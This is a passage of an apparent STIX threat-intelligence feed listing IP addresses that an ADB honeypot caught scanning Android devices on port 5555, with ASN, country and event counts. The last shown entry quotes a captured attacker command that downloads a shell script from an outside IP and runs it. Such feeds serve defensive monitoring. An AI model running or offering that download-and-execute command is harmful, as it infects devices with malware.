      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--fba92a90-9d22-48a7-8560-c4db86d31819",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:00:15.000Z",
      "valid_until": "2026-06-02T04:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T06:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=322 | first_seen=2026-05-02T21:49:40.000Z | last_seen=2026-05-31T14:36:20.659Z | ports=5555 | cc=US | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--d93b352e-3ee8-4040-9fc4-b208f99b1032",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.243.35.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:00:12.000Z",
      "valid_until": "2026-06-02T06:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 322,
          "first_seen": "2026-05-02T21:49:40.000Z",
          "last_seen": "2026-05-31T14:36:20.659Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T07:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--30b43fe2-ee1b-4799-b868-cf7be8d237a6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:00:13.000Z",
      "valid_until": "2026-06-02T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T07:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--373f8ec0-9e1d-4509-91c0-177e4509ce2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:00:13.000Z",
      "valid_until": "2026-06-02T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T08:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--7a8de1a3-e157-4b94-8f8c-bcb8e26961ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:00:10.000Z",
      "valid_until": "2026-06-02T08:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T11:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-08T08:26:32.000Z | last_seen=2026-05-21T08:24:32.731Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--aab9205b-cfb8-419f-90ac-fe0d25d4ec84",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:00:10.000Z",
      "valid_until": "2026-06-02T11:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-08T08:26:32.000Z",
          "last_seen": "2026-05-21T08:24:32.731Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T11:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=29 | first_seen=2026-05-07T16:25:27.000Z | last_seen=2026-05-20T09:48:41.124Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--76295ad3-0956-484e-bd01-dfc6c8d4f910",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:00:10.000Z",
      "valid_until": "2026-06-02T11:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 29,
          "first_seen": "2026-05-07T16:25:27.000Z",
          "last_seen": "2026-05-20T09:48:41.124Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T11:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-08T08:26:22.000Z | last_seen=2026-05-21T08:24:22.805Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--fe62d51d-cbc7-403a-bee8-533d3af4a035",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:00:10.000Z",
      "valid_until": "2026-06-02T11:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-08T08:26:22.000Z",
          "last_seen": "2026-05-21T08:24:22.805Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--8ee06b16-8609-48a7-9bd2-33e4777c12db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '110.177.176.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=140726; asn_org=UNICOM AnHui province network; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--8500c47c-195e-40ad-9462-3955250249c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '112.122.236.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--8c69f4a8-2eb9-449f-a5d5-0f61f7f80db8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.212.120.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--fa959848-809f-4859-9dc9-977f9eb86799",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.212.123.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--35d38c42-2014-45d7-990c-5c36ad7c1b1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '124.66.72.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--41773983-b4bc-4d8d-970f-53e3f8782ed7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '124.72.224.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--15ba7dfa-ecfc-452d-99f2-108cfb560f6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.17.182.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-02T22:25:20.000Z | last_seen=2026-05-02T22:35:34.114Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--9b094b0f-c450-4849-b756-bb4763867b1f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-02T22:25:20.000Z",
          "last_seen": "2026-05-02T22:35:34.114Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--12473e1f-911c-42d7-9ba5-3db903a5fc3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '222.176.201.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T12:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--3ee4f5be-2a94-4973-b5a3-b295af94509d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '42.48.38.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:00:09.000Z",
      "valid_until": "2026-06-02T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T13:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=59257; asn_org=CMPak Limited; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=0",
      "id": "indicator--32f6bfcd-4ac2-438b-b315-3b97f9dc5f0d",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:00:10.000Z",
      "valid_until": "2026-06-02T13:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 0
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-01T14:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.61/bb.sh; sh bb.sh; curl http://176.65.139.61/bb.sh; sh bb.sh\"\n\nObserved in ADBHoney telemetry for 2026-05. events=65 | first_seen=2026-05-02T21:56:57.000Z | last_seen=2026-05-24T00:40:21.000Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--225ef7a9-c5da-4dfd-8eb1-14b60b52ac2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
